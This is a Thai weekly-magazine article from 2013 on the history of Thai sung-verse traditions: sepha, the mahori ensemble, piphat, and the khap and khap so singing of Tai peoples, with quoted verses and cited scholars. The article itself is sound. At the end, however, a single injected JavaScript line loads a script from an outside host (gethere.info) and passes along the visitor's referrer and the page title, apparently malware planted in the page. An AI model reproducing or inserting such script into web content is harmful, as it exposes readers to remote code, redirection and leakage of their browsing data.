มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 5 กรกฎาคม 2556

 

          เสภาขับ เป็นการประสมประสานให้เข้ากัน ระหว่าง เสภามโหรี (ประเพณีหลวง) กับ ช่างขับ (ประเพณีราษฎร์) แล้วได้สิ่งใหม่ยุคอยุธยา

          คือ ช่างขับตีกรับขับคำกลอนเพลงเชิงสังวาส โดยมีวงมโหรี (แบบกรุงเก่า) บรรเลงคลอและรับ

          ซึ่งน่าจะมีแล้วตั้งแต่ยุคปลายอยุธยา ที่ต่อไปข้างหน้าจะมีพัฒนาการเป็น ขับเสภา(มีปี่พาทย์รับ) ยุคต้นรัตนโกสินทร์

          ยังหาไม่พบคำเสภาขับยุคปลายอยุธยา แต่พบยุคต้นรัตนโกสินทร์ อยู่ในกลอนไหว้ครู (เสภา) พาดพิงถึงเสภาขับกรุงเก่า ว่ายังไม่มีปี่พาทย์รับ ดังนี้

          เมื่อครั้งจอมนรินทร์แผ่นดินลับ         เสภาขับยังหามีปี่พาทย์ไม่

 

เสภามโหรี

          เสภามโหรี หมายถึง ชาวพนักงานร้องขับลำกลอนเพลงเชิงสังวาส โดยมโหรีบรรเลงคลอไปพร้อมกัน (เคยเขียนอธิบายแล้วในคราวก่อน) จะสรุปมาอีกดังนี้

          เสภา หมายถึง 2 อย่าง คือ (1) ชาวพนักงานร้องขับลำ และ (2) ทำนองร้อง ขับลำ

          มโหรี เป็นชื่อเรียกวงบรรเลงคลอร้องและรับขับลำกลอนเพลงเชิงสังวาส ด้วยเครื่องมีสายบรรเลงทำนองนำ เรียกวงมโหรี (คู่กับวงดนตรี มีเครื่องมืออย่างเดียวกัน แต่เรียกชื่อต่างกัน เพราะทำหน้าที่ไม่เหมือนกัน แล้วบรรเลงทำนองคนละอย่าง)

          เครื่องมีสาย ประกอบด้วยเครื่องดีดสีตีเป่า ดังนี้

          เครื่องดีด (เช่น พิณ, กระจับปี่) เครื่องสี (เช่น ซอสามสาย) เครื่องตี (เช่น กรับ, โทนทับ) เครื่องเป่า (เช่น ขลุ่ย)

          คำว่า มโหรี น่าจะได้ชื่อจากเครื่องเป่าชนิดหนึ่งของอินเดีย ที่เรียก โมโฮรี หรือ โมโหรี (Mohori)

          เขมรรับเครื่องเป่าและชื่อเรียกมาตรงๆ ว่า โมโฮรี แล้วเรียกวงโมโฮรี ส่วนไทยรับ (ผ่านเขมร) มาเรียกเพี้ยนไปว่าวงมโหรี

          พบหลักฐานในวรรณกรรมยุคอยุธยา เรื่องนางมโนห์รากล่าวเปรียบเทียบเสียงจักจั่นเรไรที่ได้ยินในป่าดง ว่าไพเราะเหมือนเสียงปี่ (เครื่องเป่า) ในมโหรี ดังนี้

          ได้ยินจักจั่นเรไรร้อง                       สนั่นมี่ก้องในพงพี

          เสมือนเสียงปี่ไฉนในบุรี                  เหมือนเสียงมโหรีเพราะวังเวง

          แต่ก่อนเคยฟังแต่เสภา                    มาฟังเสียงสัตว์ป่าร้องระเบง

          เสนาะเพราะพร้องต้องบทเพลง       วังเวงพระทัยนางเทวี

          กลอนมโนห์ราวรรคที่ว่า “แต่ก่อนเคยฟังแต่เสภา” สะท้อนว่าเสภาหมายถึงทำนองของคนขับกับเครื่องมโหรี น่าเชื่อว่าจะมีพัฒนาการเป็นตีกรับขับเสภาพร้อม ปี่พาทย์ในยุครัตนโกสินทร์

 

ปี่พาทย์ดั้งเดิม ไม่รับร้อง

          สมเด็จฯ เจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์ ทรงมีพระอธิบายว่าปี่พาทย์สมัยก่อนๆ ไม่ได้ทำรับร้อง (เหมือนมโหรี) ดังนี้         

          “แต่ก่อนนั้น พวกร้อง พวกปี่พาทย์ และพวกเครื่องสาย ต่างคนต่างเล่น ไม่ได้เล่นปนกัน

          คือปี่พาทย์ไม่ได้ทำรับร้อง เครื่องสายไม่ได้ผสมกับปี่พาทย์อย่างทุกวันนี้

          เพลงร้องของพวกคณะร้องมีต่างหาก เป็นของเขาคิดขึ้นโดยอิสระ เพลงเก่าๆ ยังมีปรากฏอยู่จนทุกวันนี้ที่ปี่พาทย์ยังไม่มีใครทำรับ เช่น ชมตลาด ช้าครวญ โลมนอก เป็นต้น ยังมีอื่นๆ อีกมาก

          ส่วนเพลงปี่พาทย์นั้น พวกคณะปี่พาทย์เขาก็คิดของเขาโดยอิสระเหมือนกัน เพลงที่ยังไม่มีใครร้องก็ยังมีอยู่มากเหมือกัน เช่น สาธุการ ตระ รัว เป็นต้น และอื่นๆ อีกอเนก (สาส์นสมเด็จ ลายพระหัตถ์ลงวันที่ 3 สิงหาคม 2460)

          เชื่อกันว่าปี่พาทย์จะทำรับร้องซึ่งเรียกเสภาขับ ตั้งแต่หลัง ร.2 ลงมา ดังกลอนไหว้ครูเสภา ระบุว่า

          เมื่อครั้งจอมนรินทร์แผ่นดินลับ          เสภาขับยังหามีปี่พาทย์ไม่

          มาเมื่อพระองค์ทรงชัย                     ก็เกิดคนดีในอยุธยา

          มโหรีแบบใหม่ที่ยกเครื่องมีสายผสมเครื่องปี่พาทย์ก็จะมีขึ้นคราวนี้เอง แล้วยังมีสืบมาจนทุกวันนี้

 

ขับ

          ขับ เป็นการละเล่นในชีวิตประจำวันของไพร่ตระกูลไทย-ลาว มีแต่ยุคดึกดำบรรพ์หลายพันปีมาแล้ว

          แปลว่า ร้องเพลงผลัดกันระหว่างหญิงกับชายโดยมีกรับ (หรือฉิ่ง) ตีเป็นจังหวะแล้วมีลูกคู่ด้วย แบ่งเป็นขับเดี่ยวและขับหมู่ ความหมายตรงกันทั้งลุ่มน้ำโขง (หลวงพระบาง ไทยน้อย) และลุ่มน้ำสาละวิน (เชียงตุง ไทยใหญ่) (เก็บความจากบันทึกของพระยาอนุมานราชธน กราบทูลสมเด็จฯ เจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์ ในหนังสือบันทึกเรื่องความรู้ต่างๆ พิมพ์ครั้งแรก พ.ศ. 2506)

          ขับเดี่ยว หมายถึง ช่างขับ หญิง 1 ชาย 1 ขับหมู่ หมายถึง ช่างขับหญิงชายฝ่ายละหลายคน เช่น หญิง 3 ชาย 3 หรือ หญิง 5 ชาย 5

          เมื่อถึงเทศกาลเข้าพรรษา-ออกพรรษา ในสิบสองพันนาสมัยก่อนบางทีมีช่างขับหลายสิบคน ล้วนรุ่นสาวหนุ่มแต่งตัวเต็มที่มาขับสรรเสริญเจ้าแผ่นดินสิบสองพันนา เรียกพิธี “อุ่นเจ้าฟ้า” เสร็จแล้วขับถามตอบปัญหาทั้งทางโลกและทางธรรม หลังจากนั้นจึงขับเกี้ยวพาราสี ถ้าขับงานแต่งงาน มีเนื้อหาอบรมสั่งสอนผัวเมีย จากนั้นเข้าสู่ขับเกี้ยวพาราสี แล้วขับเล่านิทานต่างๆ ทั้งนิทานชาดกและนิทานท้องถิ่น (ไทยสิบสองปันนา โดย บุญช่วย ศรีสวัสดิ์ พิมพ์ครั้งแรก พ.ศ. 2498)

 

ขับซอ

          ขับซอพบในโคลงพระลอ 2 แห่ง คือ “ขับซอยอราช” (เพื่อบอกเล่าสรรเสริญพระลอ) และ “ขับซอยอยศ” (เพื่อบอกเล่าสรรเสริญพระเพื่อนพระแพง)

          ไม่รู้แน่ว่าที่เรียกขับซอ จะหมายถึง ขับอย่างหนึ่ง และซออีกอย่างหนึ่ง หรือขับกับซอปนกันเป็นอย่างเดียวแล้ว

          (เรื่องนี้อธิบายยาก เพราะวรรณกรรมเล่มที่เรียกลิลิตพระลอเป็นที่รู้จักแพร่หลายนี้ แม้จะเชื่อกันว่าแต่งยุคต้นอยุธยา แต่ถ้อยคำภาษาและสำนวนโวหารไม่เก่าเท่าวรรณกรรมร่วมยุคต้นอยุธยา เช่น กำสรวลสมุทร, ยวนพ่าย, ทวาทศมาส แต่เมื่อพิจารณาอย่างถ่องแท้จะพบว่าลิลิตพระลอไม่น่าจะเก่าเกินตะเลงพ่าย พระนิพนธ์ กรมสมเด็จพระปรมานุชิตชิโนรส ยุคต้นรัตนโกสินทร์)

          ซอ แปลว่า ร้องเพลง ถ้ามีเครื่องดนตรีคลอด้วยก็บอกชื่อเครื่องดนตรีนั้น เช่น ซอปี่, ซอซึง (พิณ) แพร่หลายทางล้านนา และไทยใหญ่ (บันทึกเรื่องความรู้ต่างๆ พิมพ์ครั้งแรก พ.ศ. 2506) โดยทั่วไปมักซอด้วยช่างซอเป็นคู่ หญิง 1 ชาย 1 ซักถามโต้ตอบกัน

          ขับซอ ต่อไปข้างหน้าจะมีพัฒนาการเป็นตีกรับขับเสภา โดยได้กรับ (ไม้ไผ่) จากขับ (ตามประเพณีล้านช้าง) แล้วได้ประเพณีขับหรือร้องคนเดียวจากซอ (ตามประเพณีล้านนา)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;